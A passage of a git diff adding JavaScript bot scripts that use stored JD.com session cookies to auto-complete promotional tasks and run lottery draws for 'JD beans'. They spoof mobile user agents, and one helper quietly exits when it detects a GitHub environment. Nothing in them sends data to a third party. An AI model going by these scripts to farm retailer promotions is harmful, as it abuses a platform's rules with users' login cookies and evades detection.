this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); + } + })(t, e); +} +function random(min, max) { + return Math.floor(Math.random() * (max - min)) + min; +} +function getCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + // $.log(err) + $.getCodeListerr = false + } else { + if (data) + data = JSON.parse(data) + $.getCodeListerr = true + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mhtask.js b/jd_mhtask.js new file mode 100644 index 0000000..a2754cb --- /dev/null +++ b/jd_mhtask.js @@ -0,0 +1,291 @@ +/* +#盲盒任务抽京豆,自行加入以下环境变量,多个活动用@连接 +export jd_mhurlList="" + +即时任务,无需cron +7 7 7 7 7 +作者: http://github.com/msechen/jdv5 + */ + +const $ = new Env('盲盒任务抽京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let jd_mhurlList = ''; +let jd_mhurlArr = []; +let jd_mhurl = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_mhurlList) jd_mhurlList = process.env.jd_mhurlList + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!jd_mhurlList) { + $.log(`暂时没有盲盒任务,改日再来~`); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let jd_mhurlArr = jd_mhurlList.split("@"); + for (let j = 0; j < jd_mhurlArr.length; j++) { + jd_mhurl = jd_mhurlArr[j] + console.log(`新的盲盒任务已经准备好: ${jd_mhurl},准备开始薅豆`); + try { + await jdMh(jd_mhurl) + } catch (e) { + $.logErr(e) + } + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMh(url) { + try { + await getInfo(url) + await getUserInfo() + await draw() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + allMessage += `京东账号${$.index}-${$.nickName}: 获得【${$.beans}】京豆\n` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getInfo(url) { + console.log(`\n盲盒任务url:${url}\n`) + return new Promise(resolve => { + $.get({ + url, + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data && data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } else { + console.log(`抽奖 未中奖`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `${jd_mhurl}?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mncryyj.js b/jd_mncryyj.js new file mode 100644 index 0000000..eb2d301 --- /dev/null +++ b/jd_mncryyj.js @@ -0,0 +1,340 @@ +/* +[task_local] +#4月蒙牛春日音乐节抽奖机 +31 14 9-21/3 4 * jd_mncryyj.js, tag=4月蒙牛春日音乐节抽奖机, enabled=true + +from https://github.com/KingRan/KR/blob/main/jd_mncryyj.js + + */ +const $ = new Env('4月蒙牛春日音乐节抽奖机'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = "445d31ec3db740b992b2f6798c0fd646"; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + console.log('入口下拉:https://prodev.m.jd.com/mall/active/ymjgzZHsgzyCr2zoDcg7wrgEZLK/index.html') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + //await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 10); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + continue; + } + if (vo.taskName == '每日签到') { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await getinfo2(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 4) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 2) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + $.hasFinish = false; + } + } catch (e) { + console.log(e); 